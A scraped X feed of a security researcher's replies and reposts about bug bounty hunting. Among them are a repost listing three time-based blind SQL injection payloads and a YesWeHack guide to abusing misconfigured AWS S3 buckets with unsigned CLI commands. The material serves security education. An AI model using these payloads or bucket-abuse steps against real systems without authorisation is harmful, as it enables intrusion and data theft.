RAMAN RAJ 🇮🇳

Security Researcher

[RAMAN RAJ 🇮🇳 @RamanFromIndia]

This genuinely made me laugh 😂

I feel slightly amount of outrage like #Google wants to ask me " how dare you human even assume that i am down ".

[RAMAN RAJ 🇮🇳 @RamanFromIndia]

@elonmusk Feed is full of Post where people asks Ai to remove a person from an image and I am not even following them.
And not getting tweets of accounts I follow.

[Manish Kumar @Manixh02]

India has no contribution to global software

Bro, your fav companies run on:

– Postman → Microsoft, PayPal, 98% of Fortune 500
– Zoho → Nike, Cisco, Airbnb
– Freshworks → American Express, AWS, McLaren F1
– Finacle → ICICI, India Post
– TCS BaNCS → MUFG, Citi, Deutsche Bank

Keep saying “India has no software contribution” while your APIs, banks, and CRMs literally run on it 😂

[RAMAN RAJ 🇮🇳 @RamanFromIndia]

@rqobela

[RAMAN RAJ 🇮🇳 @RamanFromIndia]

@gabbytech01 Bug bounty and Penetration testing are two child of the same parents. In which penetration testing is the privileged one.

[Behi @Behi_Sec]

My favorite SQL injection payloads:

- 'XOR(if(now()=sysdate(),sleep(5*5),0))OR'

- ')/**/OR/**/MID(0x352e362e33332d6c6f67,1,1)/**/LIKE/**/5/**/#

- 1-if(mid(version/*f*/(),1,1)=5,sleep/*f*/(5),0)'

I collected these from HackerOne reports.

[RAMAN RAJ 🇮🇳 @RamanFromIndia]

@SecurityTrybe @X

[RAMAN RAJ 🇮🇳 @RamanFromIndia]

@SecurityTrybe Pin/password >>>>>>>> FaceId/TouchId

[RAMAN RAJ 🇮🇳 @RamanFromIndia]

@immunefi at BSides Ahmedabad

[RAMAN RAJ 🇮🇳 @RamanFromIndia]

@SecurityTrybe 042

[RAMAN RAJ 🇮🇳 @RamanFromIndia]

@vaishnavi9170 @x_deepdarshan21

[RAMAN RAJ 🇮🇳 @RamanFromIndia]

@KevinSzabo14 Sugarcane juice 🥤

[RAMAN RAJ 🇮🇳 @RamanFromIndia]

@laveenahere By watching more reels.

[YesWeHack ⠵ @yeswehack]

🔓 Abusing AWS S3 Bucket Permissions 👇

AWS S3 buckets are popular targets for hackers due to potential misconfigurations and improper access control. Let's dive into the techniques attackers use to identify and exploit vulnerable S3 buckets!

1️⃣ Bucket Recon: Spot S3 buckets URLs via source code inspection (HTML & JS files), brute-forcing, Google dorking (site:https://t.co/LwMj0To8Xl "company_name"), DNS caching, or reverse IP lookups.

2️⃣ Permission Testing: Use AWS CLI to test permissions. For read (aws s3 ls s3://[bucket-name] --no-sign-request) and write (aws s3 cp localfile.txt s3://[bucket-name] --no-sign-request).

3️⃣ ACL Exploration: Retrieve bucket/object ACLs (aws s3api get-bucket-acl --bucket [name]) and test WRITE_ACP by attempting to set new ACLs.

4️⃣ Full Control Abuse: Look for FULL_CONTROL permissions to read, write, and modify ACLs. Exploit any authenticated AWS client access by using your AWS profile in the CLI commands.

5️⃣ Policy Misconfigurations: Identify overly permissive policies (e.g., Action set to "*") and recommend granular, need-based permissions.

By trying out these tricks, you may be able to effectively identify and report misconfigured S3 buckets, helping organizations secure their sensitive data in the cloud!

#BugBounty #YesWeRHackers #BugBountyTips

[RAMAN RAJ 🇮🇳 @RamanFromIndia]

@OngDevLab Cyber security

[RAMAN RAJ 🇮🇳 @RamanFromIndia]

@gowtham_ponnana Really inspiring.

[RAMAN RAJ 🇮🇳 @RamanFromIndia]

@bugbounty_memes 3) Dom manipulation.

[RAMAN RAJ 🇮🇳 @RamanFromIndia]

@bugbounty_memes 1) sensitive api key hardcoded in js files.
2) any sensitive network services may be open on the server.

[RAMAN RAJ 🇮🇳 @RamanFromIndia]

@ADITYASHENDE17 I have hacked into my phone number and it is not working but I am not able to join the meeting and I am not able to join the meeting...

[RAMAN RAJ 🇮🇳 @RamanFromIndia]

@i05Prashant The only special thing is you live in your home with your family.
You don't need to relocate to any rushed city.

[Fat @fattselimi]

🤣🤣🤣🤣🤣 #bugbounty #hacking